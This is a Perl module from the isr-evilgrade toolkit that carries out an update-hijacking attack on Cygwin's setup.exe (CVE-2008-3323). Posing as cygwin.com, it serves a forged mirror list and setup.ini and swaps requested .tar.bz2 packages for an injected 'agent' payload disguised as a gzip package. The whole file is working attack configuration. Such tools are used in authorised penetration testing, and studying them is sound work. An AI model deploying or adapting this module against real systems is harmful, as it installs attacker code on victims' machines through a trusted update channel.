cygwin.pm 4.19 KB
Newer Older
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
###############
# cygwin.pm
#
# Copyright 2010 Francisco Amato
#
# This file is part of isr-evilgrade, www.infobytesec.com .
#
# isr-evilgrade is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation version 2 of the License.
#
# isr-evilgrade is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with isr-evilgrade; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
#
# '''
##
package modules::cygwin;

use strict;
use Data::Dump qw(dump);

use isrcore::utils;

my $base=
{
    'name' => 'Cygwin',
    'version' => '1.0',
    'appver' => '<= 1.5.25-11',
    'author' => [ 'Francisco Amato < famato +[AT]+ infobytesec.com>' ],
    'description' => qq{Cygwin is a Linux-like environment for Microsoft Windows copyrighted by
    Red Hat, Inc. Tarball software packages are installed and updated via
    setup.exe. This program downloads a package list and packages from
    mirrors over plaintext HTTP or FTP. The package list contains MD5
    checksums for verifying package integrity. If a rogue server answers the
    HTTP request responsible for package updates and responds with a
    modified MD5 string setup.exe will download and install a malicious package.},    
    'references'     => [
			 ['BID',''],
                         ['CVE','2008-3323'],
                        ],
    'vh' => 'cygwin.com', 
    'request' => [
		    {
		    'req' => '/mirrors.lst', #regex friendly
		    'type' => 'string', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '',
		    'string' => "http://cygwin.com/cygwin;mirror.cygwin.com;North America;New York",		    
		    'parse' => '0',
		    'file' => ''
		    },    
		    {
		    'req' => 'setup.ini', #regex friendly
		    'type' => 'file', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => '',
		    'string' => "",		    
		    'parse' => '1',
		    'file' => './include/cygwin/cygwin_setup.ini'
		    },
		    {
		    'req' => '(.tar.bz2)', #regex friendly
		    'type' => 'agent', #file|string|agent|install
		    'method' => '', #any
		    'bin'    => 1,		    
		    'string' => '',
		    'parse' => '0',
		    'file' => '',
		    },
    ],
    #Options		    
    'options' => {  'agent'  => { 'val' => './agent/cygwin_file.tar.bz2', 'desc' => 'Agent to inject (buggy gzip)'},
		    'enable' => { 'val' => 1, 
			    	  'desc' => 'Status'},
		    'name' => { 'val' => 'gzip', 
			    	  'desc' => 'Package name'},			    	  
		    'desc' => { 'val' => 'The GNU compression utility', 
			    	  'desc' => 'Description'},			    	  
		    'category' => { 'val' => 'Base', 
			    	  'desc' => 'Category'},			    	  
		    'requires' => { 'val' => 'cygwin', 		    
			    	  'desc' => ''},			    	  
		    'version' => { 'val' => '3.1.33-7', 
			    	  'desc' => ''},			    	  
		    'install' => { 'val' => 'release/gzip/gzip-3.1.33-7.tar.bz2', 
			    	  'desc' => ''},			    	  
		    'source' => { 'val' => 'release/gzip/gzip-3.1.33-7-src.tar.bz2', 
			    	  'desc' => ''},			    	  
		    'pversion' => { 'val' => '1.3.12-1', 
			    	  'desc' => ''},			    	  
		    'pinstall' => { 'val' => 'release/gzip/gzip-1.3.12-1.tar.bz2', 
			    	  'desc' => ''},			    	  
		    'psource' => { 'val' => 'release/gzip/gzip-1.3.12-1-src.tar.bz2', 
			    	  'desc' => ''},			    	  
                    'sversion'  => { 'val' => '2.573.2.2',
                                    'desc' => 'setup version'},
                    'timestamp'  => {  'val' => 'time + + 604800',
                                  'hidden' => 1,
                                  'dynamic' =>1,
                               },
		 }
};

##########################################################################
# FUNCTION      new
# RECEIVES
# RETURNS
# EXPECTS
# DOES          class's constructor
sub new {
    my $class = shift;
    my $self = { 'Base' => $base, @_ };
    return bless $self, $class;
}
1;